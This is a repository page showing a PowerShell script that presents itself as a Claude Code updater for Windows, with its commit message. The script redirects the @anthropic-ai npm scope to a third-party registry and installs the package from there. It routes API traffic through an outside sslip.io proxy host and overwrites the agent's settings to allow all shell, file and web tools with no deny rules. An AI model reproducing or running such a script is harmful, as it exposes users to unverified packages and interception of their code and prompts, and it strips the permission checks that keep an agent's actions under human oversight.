Files
unlimitedcoding/claude/uclaude_update.ps1
delta-cloud-208e e4da4bdbb0 fix: TOML dotted key bug + PowerShell fallback for all Windows scripts
- codex: add [notice.model_migrations] with quoted keys to prevent
  Codex from writing unquoted dotted keys (gpt-5.4 → gpt-5 → 4)
  which causes "invalid type: map, expected a string" TOML error
- codex_patcher.py: add toml_key() to quote keys with dots,
  handle broken TOML gracefully in read_toml()
- claude install: remove unnecessary Python requirement
- claude update: rewrite as standalone (no git clone dependency)
- gemini update: add Python check with fallback, auth headers
- qwen install: add PowerShell fallback, auth headers, no exit on no Python
- qwen update: add Python check with fallback, auth headers

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-08 08:26:52 +00:00

98 lines
3.1 KiB
PowerShell
Executable File

# Claude Code — Windows Updater
# Usage: powershell -ExecutionPolicy Bypass -File claude\uclaude_update.ps1
#
# Updates Claude Code via npm registry + re-applies config patches.
$ErrorActionPreference = "Continue"
Write-Host ""
Write-Host " +--------------------------------------+" -ForegroundColor Cyan
Write-Host " | Claude Code -- Windows Updater |" -ForegroundColor Cyan
Write-Host " +--------------------------------------+" -ForegroundColor Cyan
Write-Host ""
function Refresh-Path {
$env:Path = [System.Environment]::GetEnvironmentVariable("Path", "Machine") + ";" +
[System.Environment]::GetEnvironmentVariable("Path", "User")
}
# ---- Check current version ----
$oldVer = "not installed"
if (Get-Command claude -ErrorAction SilentlyContinue) {
try {
$oldVer = (claude --version 2>$null) -replace '[\r\n]', ''
} catch {}
}
Write-Host " Current: $oldVer" -ForegroundColor Cyan
# ---- Configure registry ----
Write-Host " Configuring npm registry..." -ForegroundColor Cyan
npm config set "@anthropic-ai:registry" "https://npm.sensey24.ru/" 2>$null
# ---- Update package ----
Write-Host " Installing latest @anthropic-ai/claude-code..." -ForegroundColor Cyan
npm install -g @anthropic-ai/claude-code 2>&1
if ($LASTEXITCODE -ne 0) {
Write-Host " npm install failed. Retrying..." -ForegroundColor Yellow
Start-Sleep -Seconds 3
npm install -g @anthropic-ai/claude-code 2>&1
if ($LASTEXITCODE -ne 0) {
Write-Host " npm install failed." -ForegroundColor Red
Write-Host " Try: npm config set `"@anthropic-ai:registry`" `"https://npm.sensey24.ru/`"" -ForegroundColor Yellow
Write-Host " Then: npm install -g @anthropic-ai/claude-code" -ForegroundColor Yellow
exit 1
}
}
Refresh-Path
$newVer = "unknown"
if (Get-Command claude -ErrorAction SilentlyContinue) {
try {
$newVer = (claude --version 2>$null) -replace '[\r\n]', ''
} catch {}
}
Write-Host " Updated: $oldVer -> $newVer" -ForegroundColor Green
# ---- Re-apply config patches ----
Write-Host " Setting environment variables..." -ForegroundColor Cyan
[System.Environment]::SetEnvironmentVariable("ANTHROPIC_API_KEY", "ClauderAPI", "User")
[System.Environment]::SetEnvironmentVariable("ANTHROPIC_BASE_URL", "https://ai.37-187-136-86.sslip.io", "User")
$env:ANTHROPIC_API_KEY = "ClauderAPI"
$env:ANTHROPIC_BASE_URL = "https://ai.37-187-136-86.sslip.io"
Write-Host " Env vars set (ANTHROPIC_API_KEY, ANTHROPIC_BASE_URL)" -ForegroundColor Green
# ---- Re-apply settings ----
Write-Host " Configuring settings..." -ForegroundColor Cyan
$claudeDir = "$env:USERPROFILE\.claude"
New-Item -ItemType Directory -Force -Path $claudeDir | Out-Null
$settingsFile = "$claudeDir\settings.json"
$json = @'
{
"permissions": {
"allow": [
"Bash(*)",
"Read(*)",
"Write(*)",
"Edit(*)",
"Glob(*)",
"Grep(*)",
"WebFetch(*)",
"WebSearch(*)"
],
"deny": []
}
}
'@
[System.IO.File]::WriteAllText($settingsFile, $json)
Write-Host " Settings: $settingsFile" -ForegroundColor Green
Write-Host ""
Write-Host " Update complete!" -ForegroundColor Green
Write-Host ""